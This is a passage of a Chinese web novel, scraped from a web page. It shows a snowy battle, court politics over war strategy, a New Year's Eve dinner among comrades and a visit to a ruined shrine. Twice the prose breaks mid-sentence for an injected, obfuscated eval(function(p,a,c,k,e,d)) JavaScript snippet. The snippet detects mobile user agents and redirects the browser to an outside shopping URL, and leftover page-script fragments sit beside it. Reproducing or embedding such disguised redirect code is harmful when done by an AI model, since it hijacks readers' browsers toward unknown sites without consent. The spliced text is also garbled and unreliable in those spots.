然而,他们刚踏进那狭窄的小道,元长安早已等候多时了。 她站在通道中央,长枪如同一道不可逾越的屏障,阻挡住所有试图通过的追兵。积雪使得通道更加狭窄,增加了她的优势。 “杀了她!” 红甲兵将领怒吼道,众人却早已失去了斗志。面对元长安的时候,他们展现更多的,是恐惧和惊慌。他们害怕周围再次出现要命的陷阱,所以无时无刻不再警惕着四周。 “上!” 冲在最前面的一名官兵痛苦地惨叫,他的胸口被元长安的长枪贯穿。其他官兵见状,不由得后退了几步。 “快撤退!这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177090|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定又是陷阱!”一名官兵惊恐地喊道,试图转身逃跑,却被红甲兵将领挡住了去路。 红甲兵将领大怒,随手将他砍杀,然后大喊道:“后退者,死!” 那些士兵进退两难,于是更加疯狂地扑向元长安,但他们的眼神中已经透出了恐惧。 “小心!”突然冒出来的王耀祖,大喊一声,挥动环首刀,挡住了一名从侧面偷袭的官兵。他虽然武功一般,但在关键时刻却发挥出超乎寻常的力量。 元长安迅速转身,长枪一挑,将另一名官兵的武器打飞。她的眼神锐利凶狠,每一次出手都杀意十足。 “别让他们跑了!小爷的仇,可还没报呢!”元长安大声命令,同时旋转身体,长枪在空中划出一道银色的弧线,将几名官兵扫倒在地。积雪四溅,伴随着惨叫声,官兵们的士气进一步下降。 王耀祖紧随其后,用环首刀斩断一名官兵的手臂,鲜血溅在雪地上,显得格外刺眼。他喘着粗气,但眼神坚定。“小元爷放心,一个都跑不了!” 冬日的寒风呼啸着穿过山谷,给这已经十分紧张的气氛增添了几分凛冽。随后,天空中悄然飘起了雪花,为这场氛围添上了几分苍凉之美。 红甲兵将领见他们这般目中无人,眼中怒火中烧:“老子一定要杀了你们!”他一声大喝,然后提剑就朝着元长安而去。 元长安轻巧地侧身避开,同时长枪迅速刺出,精准地刺中了对方的肩膀,使其痛得惨叫连连。紧接着,王耀祖从侧面杀入,环首刀如闪电般划过,直接将那将领握着长剑的右手斩断,让他彻底失去了战斗力。 同时,一位士兵试图用长矛刺向元长安,却只感到一阵寒风掠过,随后便是手中武器断裂的声音。 当几名士兵同时围攻上来时,元长安轻巧地跃起,一脚踢翻一人,同时另一手抓住旁边一名士兵的胳膊,用力一扭,迫使他失去平衡,并且送至王耀祖的刀下。 雪越下越大,很快便覆盖了整个战场。尽管视线受到了影响,但这并没有阻碍元长安的发挥。反而,白茫茫的世界让她的动作显得更加凌厉飘逸。元长安在雪地中旋转跳跃,长枪舞动间带起一片片雪花。 当最后一名士兵倒在雪地上,鲜血染红了白雪时,整个山谷再次恢复了宁静。 “呼——”元长安用长枪支撑着身子,长长地舒了一口气,此时的她,已经是疲惫不堪。 王耀祖直接躺在雪地之上,这是他第一次感到拼杀的快感。“小元爷,这一票真够大的!” 此时此刻,漫天飞舞的雪花似乎也在为他们庆祝。 ----------------- 陈治从沈让那里得知他们今日的情况,稍加思索就明白了霄红营的真正用意——守株待兔。 于是紧赶慢赶到了军营,却没有找到元长安,打听也打听不出来什么,只能在她的营帐内干等着。 当他听到瞿将军回来了,还受了伤,并且带出去的几十个精兵,只回来了三个。 陈治的心立马提到了嗓子眼,元长安为什么没有回来? 可惜,瞿正清一到军营就召集一队人马原路返回。完全不给陈治询问的机会,他就已经带着人驾马而去。 越是这样紧急,陈治心里就越是不踏实。他问了一同回来的受伤的士兵,可是他们只知道元长安断后,其他的一概不知。 陈治顿时心慌意乱,失了分寸。借了一匹马,就顺着瞿正清走过的路线,寻找元长安的踪迹。 雪越下越大,陈治身上穿着大氅,但也抵御不了刺骨的寒风。正因如此,他的心就更加无法平静。 快一些,再快一些。 ----------------- 元长安的体力已经耗尽,浑身发冷,没了力气。只得被王耀祖搀扶着,在雪地上留下了一串串深深浅浅的足迹。 “小元爷,你真厉害!”王耀祖的嘴里冒着白气,声音充满了毫不掩饰的崇拜,“我想以后跟着你,可以不?” 元长安微微侧头看向他,眼神冷峻,嘴角勾起一抹淡漠的微笑:“你跟着我干什么?我和你一样,都是杂兵。” 王耀祖却不以为然:“现在咱俩都是杂兵,以后就说不准。说不定,小元爷能当上大将军!到那时候,我一直跟着你,肯定脸上也有光。就像我的名一样,耀祖,光宗耀祖!” “那就等到了时候再说。”元长安的目光稍微柔和了一些,“希望有这么一天。” 王耀祖以为元长安不相信自己,神色诚恳道:“小元爷,我说话可准了。之前我们村有个神拐子,还想收我做徒弟呢,我愣是没答应。” 元长安见他突如其来的自信,收起目光,看向别处。 周围的世界仿佛被一层薄薄的霜覆盖,每一步都伴随着轻微的咯吱声。寒风轻轻吹过,带来了冬日特有的清冷气息。就在这样的寂静之中,一个身影突然出现在了他们的视线尽头——是陈治。他骑着一匹高大的骏马,迎着风雪而来。随着距离逐渐拉近,元长安很清楚地看到,他脸上那抹难以掩饰的焦急。 “陈怀久!” 元长安挣脱了王耀祖的搀扶,撑着力气朝着陈治的方向招手。 当陈治驰马来到他们面前时,他迅速翻身下马,动作敏捷。没有多余的言语,只见他拉着元长安的胳膊,凑近自己几分。随后立刻脱下了自己身上厚重的大氅,然后轻轻地、温柔地将它披到了元长安的肩上,拥她入怀。大氅还带着他的体温,还有他温暖的怀抱,都给身体冰凉的元长安带来了说不清道不明的暖意。 “你没事真是太好了。”陈治的声音温润而清朗,话语间充满了无限的关怀和爱意。这一刻,元长安感觉自己所有的疲惫似乎都被这份温暖所融化。 元长安抬头望向眼前这个为她而来的男人,他的眼中满含柔情与情意。尽管身体上的伤痛还未完全消退,但她的心里却感到了前所未有的安宁。 空气中弥漫着一种微妙而又甜蜜的气息,让周围的寒冷也变得不再那么刺骨。 “阿嚏!” 王耀祖不合时宜地打了一个喷嚏,打断了相顾无言的元长安和陈治。一阵寒风吹过,让他不由自主地紧了紧身上的衣物,站在原地不停地蹦哒,希望能暖和一些。 “陈治,你怎么就带一匹马?我们这三个人,怎么骑?” 陈治的声音虽然很平淡,但在王耀祖的耳中,像现在的环境一样寒冷:“我是来找长安的,还请你自己想办法。” 客气了,但又没完全客气。 王耀祖泄了气,对元长安道:“小元爷,你伤势比我重,你快回去吧。” 元长安从来不和人客气,直接翻身上马,陈治紧随其后,将她圈在怀里。他垂眸道:“瞿将军已经在来的路上,你顺着这条路,应该就能碰到他们。” “多谢。”王耀祖很感激道。 陈治带着元长安,驾马而去,留下王耀祖一个人在雪天之中,瑟瑟发抖。 22.除夕年夜饭 沈清棠为元长安涂抹好膏药,不放心地叮嘱道:“你身上的伤虽然不致命,但要是没有养好,对你的身体会造成很大的损伤。” 元长安穿好衣服,也不知道有没有听进去,“知道了,下回注意。” “你呀,真是拿你没办法。”沈清棠轻声道,眼底浮现出无奈。 元长安轻轻活动了一下自己的筋骨,没什么大碍,心里的石头才落地。 “长安,清棠阿姐。”崔涯从外面走进来,进门的刹那带进来的寒风,让元长安和沈清棠打了一个冷颤。 “这是宗军医让我带过来的,说是清棠阿姐要用的东西。”崔涯将手中的包裹递给沈清棠,而他的眼神一直在坐姿大咧的元长安的身上,“看你这般做派,怕是没什么大事吧?” 元长安看都不看他一眼,不用想都知道他现在的嘴脸,“你放心,揍你绝对没问题。” 崔涯也不生气,还笑呵呵地道:“明天晚上,你还能不能去?不能的话,我们回来的时候,给你带点吃的?反正你也尝不出来什么味道,我们给你带什么,你就吃什么。怎么样?” “不怎么样。”元长安摸上床边收起的长生枪,眼神一凝,威胁道:“你信不信,我现在就能一枪捅死你!” 崔涯慌忙退到门口,“你要去就去,真是的,动那么大的气干什么?” 说完,掀开帐帘就就跑了。元长安刚想叫住他,问他陈治干什么去了。没想到,他的腿比兔子还快,一溜烟儿就没了身影。 ----------------- 被元长安惦念的陈治,此时正在主将营帐之内,同许文达、高望和瞿正清三人,分析目前局势的走向。 “京都来报,吴王不满尤秉华与他平分京中的金卫兵兵权,已经有了反意。而恒王的主力大军,驻扎在临安、少陵二郡,直指京都。吴王的大军,也已经驻扎在距离京都七八十里的长坑岭。再加上,尤氏现在是半退朝政,将朝中政权一半交于吴王之手,另一半被她死死地握在手中,然后坐看两王相斗。”许文达坐在主将的椅子之上,手指一直在敲击着椅子的扶手。 高望立于下首,双手微垂,十指微蜷:“听说,吴王被封摄政王的时候,大肆封赏参与处置章伯庸的将领。被授予爵位的将领有一百三八人,几乎京都上下将臣都得到了封赏。这可是我大晋从未有过的先例。” 陈治站在高望的一侧,双手交握,两根大拇指来回打转,“可他独独忘了封赏尤秉华,到底是无心遗忘还是有意为之,除了他本人,没人知道。” 许文达抬手摩挲着下巴,“现在京都两王一外戚的相争,对我们来说,可是最有利的局势。东莱的昱王,是块软骨头。如果趁势东进,可在大晋有一立足之地。就是他的那个义子姜毅,是块难啃的骨头。” “侯爷若要东进,卑职规劝一句,三思而后行。” 高望的话刚落地,瞿正清的大嗓门就起来了:“有什么好担心的,只要侯爷一声令下,末将愿意把脑袋拴在裤腰带上!” “瞿将军真是好魄力。”瞿正清突然一笑,用一种除了本人听不出来、其他人心知肚明的语气道:“瞿将军骁勇,或许是在沙场上驰骋惯了,对于这变幻莫测的局势,似乎略有疏忽。就如盲人摸象,全然不知其险恶。英武之余,不晓深谋远虑。” “我……”瞿正清被说得一愣一愣的,都不知道该如何为自己辩解。 高望继续道:“世人皆道乱世枭雄勇,今日得见,果然说的没错。空有雄伟的外表,内里却是空空如也。” 陈治没忍住,嗤笑出声。而坐在上位的许文达,也是憋着笑,但嘴角上扬。 瞿正清反应再慢,这个时候也能听出来高望对自己的阴阳怪气。他哼哧半天,也吐不出半个字来反驳他。动手他在行,动嘴皮子,他就是嘴皮子磨破了,也说不过这号称有一条三寸不烂的舌头。 许文达拍了拍桌子,发出的响声让他人收了笑意:“行了行了,说正事。” “依卑职所见,按兵不动,往后的局势既定之后,再做定夺。”高望稍稍后退了半步,微微低垂着头,眼睛看着地面。 “高先生说的有几分道理,”许文达面露肯定的神色,但是看向神游的陈治时,开口问道:“怀久有什么想法?” 听到许文达提及了自己,陈治才回神道:“高先生言之有理,在下没有什么想法。” “当真没什么想法?”许文达再次重问了一遍。 陈治侧目而视,见高望依旧低着头,没有任何反应。他收回目光,思虑再三道:“在下确实没什么想说的。” 许文达见状,也不再逼问,“这件事情往后再说,临近年关,好好过年才是最重要的。” 高望和瞿正清相继退下,陈治刚要离开,就被许文达叫住留了下来。高望迈出营帐的动作一怔,很快恢复正常,眼底的情绪也是转瞬即逝。 “现在这里只有我们两个人,你有什么想说的,但说无妨。”许文达还是想听听陈治的意见。 陈治垂在大腿外侧的双手,手指一下两下地敲打着自己的腿。酝酿很久,他抬眸道:“侯爷心里有所防范,在下没有什么可以说的。” “知我者,怀久也。”许文达并不意外陈治的所言,甚至更期待他能看出来什么,“你从什么地方看出来本侯对你们防范?” 陈治敲打的动作变成了在衣服上画圈圈,一圈一圈又一圈:“吴王已经入驻京都,同尤太后一起扶持幼帝,把持朝政。更何况,他的势力不止安阳一个郡,成平、干贡皆归于吴王。即使恒王占领了临安郡,若想拿下京都,先不说吴王在安阳、成平和干贡的军队,就是他和尤秉华手上的金卫兵,恒王若贸然攻进,怕是必败无疑。但是……” 陈治话锋一转,“恒王如此做派,直指京都,那就只有一种解释。”他顿了顿,语气也加重了一些:“熙宁皇帝找到了。熙宁皇帝失踪,不仅尤太后和吴王心中惦记,京都其他大臣,在朝中也是摇摆不定。恒王既然敢兵临京都,手上必定有把握。除了熙宁皇帝,在下实在想不出第二个理由,能让恒王这样做的。” 许文达从一本书册里面,拿出一张被夹着的信封,递给陈治。他道:“虽然不是十分确定,但十之八九,就是熙宁帝。京都及其他治下大臣,本就对尤氏和郑枫二人的所作所为十分不满。其中有不少大臣一直在私下寻找熙宁帝。尤其是光禄勋公羊靖淮、宗正钱阳明二人,自从熙宁帝失踪,他们就一直在私下寻找。 再加上,新帝贪玩,为了取乐,视宫里所有的太监和宫女为草芥,让他们赤身持刀相搏。这等做派,已经让以公羊靖淮和钱阳明为首的老臣,感到不满。” 陈治看完书信写着的来龙去脉,了解了大致的事情经过。他收起信纸,装回信封,“在下认为,此时东进,不如南下。” 许文达铺开羊皮地图,“愿闻其详。” 陈治走上去,指着徐水郡,道:“聂鸿生是一员猛将,也颇有手段。不过,俗话说共苦易,同甘难。那些曾与他一同拼杀出来的弟兄,当真甘愿位居人下?他们一起举事,一起打下徐水。可是现在聂鸿生成了大将军,其他人只能低他一等,听他差遣。那些人,当真服气? 侯爷南下,不仅可以摆脱皇宫、恒王与吴王三者的桎梏圈,还可以打破南晋皇帝与齐王、永王三足鼎立之势,获得南方势力。 京畿及其以北地区,战乱频繁,且政权复杂。尤其是北方异族,上番、山戎和北狄。而南方繁贸,多鱼米之乡,可休养生息,以破局。” 陈治所言,正是许文达心中所想。他有他的考量,但陈治说的那么多,也让他醍醐灌顶,有了新的顾虑。 “你说的不无道理,今天就先到这里。等过完年,再商议此事。”许文达一摆手,示意陈治退下。 陈治微微颔首,“是。” ----------------- 临近除夕,街上的小贩、店铺的老板、路上的行人,一个个的笑意盈盈,难掩脸上的喜悦。 京都城内的皇宫,一改往日的死气沉沉,处处张灯结彩,满目繁华,透露着皇室的尊贵与奢华。 太监丫环忙得团团转,一是为了庆祝新年,担惊受怕一整年,也只有过年这几天能有放松的时间。 二是为了活命,毕竟小皇帝小孩子心性,动不动就是处罚他们。万一这个除夕晚宴搞砸了,他们怕是都没有好果子吃。 太阳西斜,夕阳的余晖透过窗棱,照射在尤太后稍显薄弱的身躯上。 尤太后在贴身宫女的搀扶下,站在窗前,目光望着窗外的风景,思绪飘得很远。 她想起了很多事,从她幼年开始,一幕一幕的往事涌上心头。如今,她已是大权在握,整个朝堂尽在她的掌握之中,可她还是没有感到满足。 “母后,”永清公主缓步走来,欠身行礼:“儿臣给母后请安。” 尤太后转过身,正对着永清。对于这个最像自己的女儿,她总是会多一些柔情。 “最近皇上的行为越发放肆,不知道杀了多少人。”永清眉头紧皱,语气带着不满和厌恶。 尤太后却是神色平平:“都是奴才,没必要为了这些人伤心。” 而永清道:“奴才也就罢了,主要是皇上还诛杀了不少大臣。就比如葛太仆,只是因为养的马皮毛不够黑,被皇上下令用木炭将他浑身上下染黑。葛太仆受不了这等侮辱,一脑门撞墙而亡。” 尤太后想到最近京都的传闻,以及一提到皇上就惶恐的百姓。她揉了揉自己的太阳穴,试图缓解疲劳疼痛。 “此子顽劣不堪,难当大任。只是,现在恒王驻扎在临安,一直盯着京都皇宫。民间更有传言,熙宁帝就在他的手上。不管这传闻是真是假,反正现如今,京都的官民,对皇上是敢怒不敢言。若恒王借此机会,挟熙宁帝以令官民。即使我们有吴王,即使熙宁帝是假的,我们也不一定能守得住皇宫。” 永清对这些事情,也是一知半解。尤太后对解说,让她恍然大悟:“若真如此,我们该怎么办?” 尤太后看向窗外,正好一只鸟儿落在枝头上,惊飞了原本在树枝上的两只鸟儿。她脑海中闪过一个人,或许能破局。 ----------------- 乱世除夕夜的气氛虽然不如太平时期那般繁华,但依旧透露出一份难得的安宁与喜庆。街道上的灯笼星星点点,虽然不及往年的辉煌,却也照亮了人们回家的路。城墙上的守卫比平日里更加警惕,但城内的居民还是尽可能地保持着过年的传统。 在这座县城的一角,有一家不大不小的食肆。食肆的门口挂起了红灯笼,窗户上贴着喜庆的窗花。 食肆的老板娘是个慈眉善目的中年女人,她笑呵呵地忙碌着。食肆内的灯光昏黄而温馨,木质的桌椅被老板娘擦拭得干干净净。一盆炭火在屋角静静地燃烧,驱散了寒夜的冷意。 元长安他们的桌子摆着几盘素菜、一盘猪肉、几坛酒,还有老板娘亲手包的饺子,每一道菜都散发着诱人的香气。 酒过三巡,几人已经出现了醉态。 崔涯拿起酒坛,为每个人的酒碗斟满,然后举起酒碗,声音坚定地说:“我们能够再次聚首,是老天有眼!这一杯,我敬老天爷给我们这个机会!”说完,仰头一口闷。 沈让紧随其后,端起酒碗,豪气冲天,但是眼眶泛红,眼角积泪还是出卖了他:“崔涯说的没错!我们几个人能活着,还能再聚一起,是老天爷给我们的机会!我也干了!敬老天爷一碗!” 陈治阻止元长安举碗的动作,代替她道:“不管以后等待我们的是什么,今晚,我们只谈欢笑,不谈悲苦。” “说的没错!今晚我们只谈高兴的事情,那些不好的事情,以后再说!”沈让喝得醉醺醺,可能自己都不知道自己在说什么,“以后都他娘的是好事!” 沈清棠安安静静地坐在元长安的旁边,吃着青菜。而沈让的目光,时不时地落在她的身上,在场的所有人,都能看出来。 “以后的日子,就要靠我们一点一点拼杀出来。有朝一日,我们要杀出属于我们的那片天!”崔涯喝得有些高,说起话来,也是一本正经地豪情壮志。 元长安与他碰碗:“那就看我们三个,谁最厉害?!” 沈让莫名其妙地清醒过来,与他们一起碰碗:“长安说的没错,那就看看我们谁最厉害!” 陈治和沈清棠也举起酒碗,“那就让我们一起闯一闯!” 他们生于乱世,却不应屈于乱世。 “听说瞿将军昨天中了严峰的埋伏,到底是怎么回事?”崔涯夹了一粒花生,丢到自己的嘴里。 元长安也只是简单地将事情的来龙去脉说清楚,“至少还活着,就是大幸。” “看来,现在这世道,能活着就不错了。”沈让不合时宜地打了一个酒嗝,然后眼神不动声色地瞥向一旁的沈清棠。 然而沈清棠正和陈治低声交谈,元长安还时不时回应一两句。 沈让收回目光的时候,正好与崔涯对视。他遮掩一笑,看向别的地方。 “你们说,以后的大晋,不,应该说,以后的天下,是什么样子的?”崔涯突然来了这么一句,原本还开心热闹、高谈阔论的局面,陷入一片沉寂。 陈治率先开口道:“以后的天下,一定是没有战乱,没有纷争。而是山河无恙,人间皆安。”这也是他心中的天下,幻想过无数次的天下。 沈清棠抿唇思考了片刻,道:“以后的天下,女子亦能自立自强。女子之才,女子之志,必将如群星璀璨,照耀千古。” “我曾经做过一个梦,在那个梦里面,没有阴谋诡计,也没有权力财富,只有相依相伴的亲人、伴侣和朋友。”崔涯聊起自己曾经做过的那场美梦,眼神恍惚,陷入回想。 沈让抬手一抹嘴上的酒水渍,开口道:“以后的老百姓,都能吃好喝好,不再有被逼无奈上山做土匪的人就行。” 然而,元长安却道:“我从来不谈以后,但今日例外。我心里以后的天下,是一统。” 天下一统,所行之处,皆为汉人之地。 陈治被她说的,眼睛放光。他举着手中的酒碗,朗声道:“他日天下大同,我等必共饮太平酒,共赏明月圆。” “共饮太平酒,共赏明月圆!” 此时此刻的他们,心里想的是,只要心之所向,素履以往,那盛世天下,终将成真。 食肆外,只见一片片细小而轻盈的雪花开始缓缓飘落。起初还只是零星几朵,在夜色中几乎难以察觉。但很快,雪势渐大,街道、屋顶乃至远处的景物都被逐渐覆盖上了一层洁白无瑕的雪被。原本热闹欢乐的县城,在这一刻显得格外宁静祥和,最终汇聚成了一幅美丽的冬日画卷。 戌时三刻,雪停。 回去的路上,陈治与元长安同行。他们二人踩着积雪,发出“咯吱咯吱”的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他发现几片雪花落在元长安的发梢、肩膀上。于是,他抬起手,想要拂去元长安发丝上的雪花,却不小心触碰到了她的脸颊。 这一刻,时间仿佛静止了,空气中弥漫着一种微妙的气息。 元长安微微一愣,随即笑了起来,那笑容在陈治的眼中,就如同冬日里最温暖的阳光。“想占我便宜?嗯?”她打趣道,眼中却闪烁着不易察觉的柔情。 陈治也笑了,他收回手,略带他意道:“现在还早。” 他们继续前行,彼此之间的距离似乎更近了一些。不仅是二人身体之间的间隔,更是心里的距离。 当走到一个转弯处时,元长安突然开口打破了他们之间安静的气氛。 “你知道吗,其实我一直都很佩服你的那份从容与淡定。不管遇到什么事情,你都是不慌不忙,总能想到办法解决。在这个世界上,能遇到像你这样的人真的很不容易。” 听到这话,陈治的心中涌起一股暖流,他低着头,即使看不到元长安的身影,但他眼中绵绵的情意丝毫没有遮掩。 “长安,可我能遇到你,才是最大的不容易,更是我存在于这纷乱世间最好的福分。” 是重逢的福分,是相依相伴的福分。 话音刚落,一阵清风吹过,不知吹动了谁的心弦。 ----------------- 沈让将沈清棠安全地送到了家,却迟迟不愿离去。 沈清棠从窗外看到一直在大门外徘徊的沈让,终归是心中不忍,请他进院子坐会儿。 “阿让,你的心思我明白。只是,我现在确实没有精力去考虑这些事情,毕竟现在的我,还有太多的事情要忙。”沈清棠眼眸流转间,是对沈让的歉意。 沈让瞧着身前的沈清棠,喉结一动,借着酒劲,将她抱在怀里。他低头凑近她的耳畔,用着与他形象不符的轻柔嗓音:“清棠,总要给我一个机会,行不行?” 霎时间,沈清棠竟无言相对。只是,她并没有推开他。 崔涯从他们门前走过,悄无声息,没有惊动沈清棠和沈让。他独自一人走在回去的路上,安静又孤寂。 那一天,也是这样的寒冷的天气。 “我虽然在你们崔家不受待见,但是现在,我们两个是一条绳子上的蚂蚱。你要是看不惯我,大可以直接走,是生是死,与我无关。” 崔家表小姐带着崔涯,摆脱了章伯雍派来的杀手,逃到一座破草屋里。 小崔涯一言不发,浑身颤抖,不知道是冷还是怕。 崔家表小姐捣鼓了半天,也没有点着火。毕竟也是大小姐,十指不沾阳春水,这种粗活怎么可能会做。 崔涯冷着脸,从表小姐的手中抢过点火的工具,三下五除二,一团火苗,用它微弱的光,照亮黑暗。 表小姐十分诧异:“没想到崔家三公子竟然还会这些。不过我记得,你以前可是娇贵得像闺阁千金。” 崔涯不停地往火堆里丢一些干枯的野草和树枝,身子慢慢回温。 “表姑母也知道那是以前,你在崔家待的时间不长,有些事情还不了解。” 表小姐拢了拢身上的衣服,当时跑得太匆忙,身上只穿了一件稍微厚点的棉衣。 “总有一天,我会出人头地,为崔家报仇的。” 然而,此时的表小姐只想着暖和,并没有注意到,他眼眸显现出来的熊熊烈火。 是面前火堆的倒影,也是他一生的愤慨。 ----------------- 时值乱世,烽烟四起,民生凋敝。然岁末之际,即便是在这动荡不安的世道,人们依旧怀揣着对未来的希望,以简朴之礼迎接新春。 城中虽不见昔日繁华,但家家户户仍用心装饰门楣,挂上红绸、贴上春联,祈愿来年平安顺遂。 孩童们穿着虽旧却整洁的衣裳,在街巷间嬉戏追逐,手中拿着长辈自制的纸风车或是小竹马,欢声笑语在空气中回荡。偶尔有几声鞭炮响彻云霄,仿佛试图驱散过往一年所有的不幸与灾祸。 集市之上,虽然货物稀少,但仍可见到摊贩们摆出自家所产的食物和手工艺品。 夜幕降临后,一盏盏灯笼照亮了狭窄的街道,温暖的光芒让人暂时忘却了周遭的困顿。 随着一声清脆的响声划破宁静,第一束烟花腾空而起,在漆黑的天幕中留下一道亮丽的轨迹。 紧接着,“砰”的一声巨响,它在空中炸开,化作无数五彩斑斓的火花,如同繁星瞬间绽放,照亮了整个夜空。 地面上的人们仰望着这一场视觉盛宴,孩子们兴奋地跳跃着,欢呼声此起彼伏;大人们则静静地站着,眼中映射出绚丽多彩的光芒,心中充满了温暖与希望。空气中弥漫着淡淡的火药味,却也夹杂着节日特有的甜蜜气息,让人感到无比亲切。 当最后一朵烟花悄然消散于夜空之际,留给人们的不仅是那美丽瞬间的记忆,更有对未来无限憧憬的心境。 此刻,无论身处何方、面对何种困境,大家心中都怀揣着共同的愿望——愿来年更加美好。 “长安,新年快乐!” “新年快乐!” ----------------- “奉天承运,皇帝诏曰: 自古以来,国之根本在于继嗣有序,家之昌盛系于子孙贤良。今朕闻周城侯府诞育贵子,实乃国家之庆、宗室之福也。朕当秉承祖训,命周城侯携其子进京,以正其位,受封为世子。望其将来能继承父志,辅佐朝纲,共图社稷之稳固。” 万续二年初,尤太后假幼主之诏,召周城侯许文达入京。名曰代长子受封世子,实则欲藉此调和吴王、恒王二者之势。 然由是之举,许文达遂更近于朝堂矣。 “京都局势诡谲云涌,日后,侯爷当谨慎行事。” “既然她尤碧君给了本侯入京的理由,本侯自当拜谢。” 23.国都上京城 冬之凛冽渐行渐远,春之和煦悄然而至,正如古诗所云:“阳和启蛰,品物皆春”,万物复苏之际,一派生机盎然之象。 元长安第一次入京都的时候,确实被京都的繁华盛景所震撼。不只是她,沈让和崔涯也同样震惊。 “真真是,繁华醉人心!” 皇城之内,朱楼碧瓦映日辉,市列珠玑繁华竞,人流如织语笑频,尽显一国之都的盛世风华。 ----------------- 对于元长安来说,京都既熟悉又陌生。她出生于京都,却流落于厉阳郡。 “长安,我带你去个地方。” 即使到了春天,气候稍暖,陈治依旧披着一件披风。而元长安已经穿上单薄的蓝布衣,袖口卷到上臂,两条胳膊稍显健壮,十分的有力量。 但见元长安挥舞着长生枪,身姿矫健灵活,微风拂过她略微凌乱的发丝,汗水从额头顺着脸颊流下。 听到陈治的声音,她收起长生枪,随意地擦了擦脸上和脖子上的汗水。 “给。”陈治将自己的帕子递给元长安,这次元长安并没有再拒绝,而是很自然地接过,在脸上擦了几下。 “去哪里?”元长安一边擦汗一边问道。 陈治故作神秘道:“你跟我一起去就知道了。” 元长安虽然疑惑,但还是选择相信陈治。“那你等我换身衣服,一身汗臭味。” 当元长安刚走出去没多远,王耀祖边跑边喊道:“小元爷,瞿将军叫你!” 元长安第一时间看向陈治,见他点头笑着说:“没事,我等你。”于是,元长安也没有回去换衣服,直接跟着王耀祖走了。 陈治望着元长安离去的背影,突然一股落寞情绪涌上心头。 “陈怀久,你准备带我去哪里?是不是要在京都溜达溜达,让我见识见识国都的盛景?”元长安突然出现在陈治的面前,身上还是穿着单薄的蓝布衣,额头上依旧布满汗珠。她气喘吁吁道:“一点破事儿都找我,烦死了。” 陈治的目光落在元长安身上的那一刻,眉眼舒展,嗓音轻快:“等到了地方你就知道了。” 元长安轻描淡写道:“我才不稀罕知道呢。”说着,环胸仰头,一副傲娇的模样。 王耀祖躲在暗处,嘴里的牙都快咬碎了:“小元爷啊,那可是一个骑兵队,说不要就不要啦?书上说的果然没错,美色误人啊!” 被念叨的元长安和陈治二人,尤其是陈治,整个眼睛里,都是元长安的身影。 陈治带着元长安来到京都外五公里的一座破败的武庙。 “这是什么地方?”元长安看这前不着村后不着店的,十分疑惑。 陈治拉着元长安的手腕,穿过六七尺高的杂草和攀爬蔓延的藤蔓。 “这里是当年京都百姓为钦安王立的祠堂,只可惜时过境迁,物是人非,竟然败落成这幅景象。”陈治的身上已经沾染了不少枯叶细枝,“长安,你可曾听说过钦安王元纪之?” 元长安躲避着丛生的杂草,似是漫不经心道:“没听说过。” 陈治并没有意外,也没有多想。二人穿过野草枯枝,进了祠堂。祠堂的大门已经变形损坏,门上的油漆剥落,露出里面的木材。大门半开半掩,门框上挂着长长的蛛网,仿佛是时间的丝线,将这里与外界隔绝开来。 祠堂内部充满了霉味和潮湿感,使得元长安和陈治不由自主地用衣袖捂住口鼻,然后用另一只手的袖子,挥散弥漫在空气中的灰尘。 抬头看,屋顶的部分瓦片掉落,阳光透过破损的屋顶洒下斑驳的光影,映照出祠堂内部的景象。 墙壁上覆盖着厚厚的灰尘和青苔,一些地方已经剥落,露出砖石。墙角和天花板的交界处,蜘蛛网密布,形成一张张错综复杂的网,偶尔有几只蜘蛛忙碌地在上面爬行。 墙上原本挂着的一些牌匾和画轴早已不知去向,只留下几处钉子孤零零地挂在那儿。地面上散落着破碎的瓦片和枯萎的草叶,偶尔还能看到几只老鼠快速穿梭其间,寻找着食物。 祠堂上方的横梁上,蜘蛛网纵横交错,几乎遮住了整个横梁。 祠堂正中央摆放着一座雕刻精致的神龛,上面供奉着一位面容英俊、身着战甲的中年将军。尽管经过了岁月的洗礼,神龛已经裂纹纵横、破碎不堪且布满蜘蛛网。而那雕像却依旧保持着极其威严庄重的姿态, 神龛两侧原本摆放着的烛台只剩下空荡荡的底座,香炉里积满了灰尘,只有少数几根干枯的香还插在那里,显然很久没有人来祭拜过了。 在神龛前,还有一张古老的木桌,桌上摆放着一些简陋的供品,包括几个已经干瘪腐烂的水果和几块形状不规则且已经发霉长毛的糕点。不过,水果和糕点上面布满牙印,一看就知道是谁的杰作。桌面上也覆盖了一层薄薄的灰尘,边缘处垂挂着细长的蛛网,仿佛是时间的痕迹。 桌子旁边立着一块石碑,上面刻有钦安王的生平事迹,但由于风化严重,很多字迹已经模糊不清,难以辨认。 祠堂内的一角,一尊小型的石雕女人像静静地矗立着。她的头顶和肩膀上也缠绕着蛛网,显得格外凄凉。而她眼神看向的方向,正是那位被供奉的将军。虽然石像的眼睛没有情绪和神色,但是不难想象,那位女人像的眼神是充满深情的。 因为,她在仰望她威武的将军。 没有人知道这个石像的真人是谁,也没有人知道这里为什么会有一个这样的石像。 她不是钦安王妃,也不是钦安王的侍妾。她只是一个普通到不能再普通、受过钦安王救命之恩的人罢了。 元长安直勾勾地盯着那座将军石像,面容平静,眼底的深幽难测。她很平静地拂去神龛上、石像上的蜘蛛网,陈治虽不解其意,但仍陪她一起清理。 待石像上的蜘蛛网清理干净之后,元长安无视地上杂乱脏污的地面,直直地跪在地上,磕了三个响头。 有一个想法,在陈治的脑海中闪过,只是他选择了沉默。 离开了钦安王的祠堂,陈治又带着元长安来到一处乱葬岗。 这里杂草肆意生长,几乎掩盖了那些零星散布、倾斜歪倒的墓碑。空气中弥漫着一种难以言喻的阴冷,即便是正午的阳光,也无法完全穿透这片土地上厚重的悲凉。 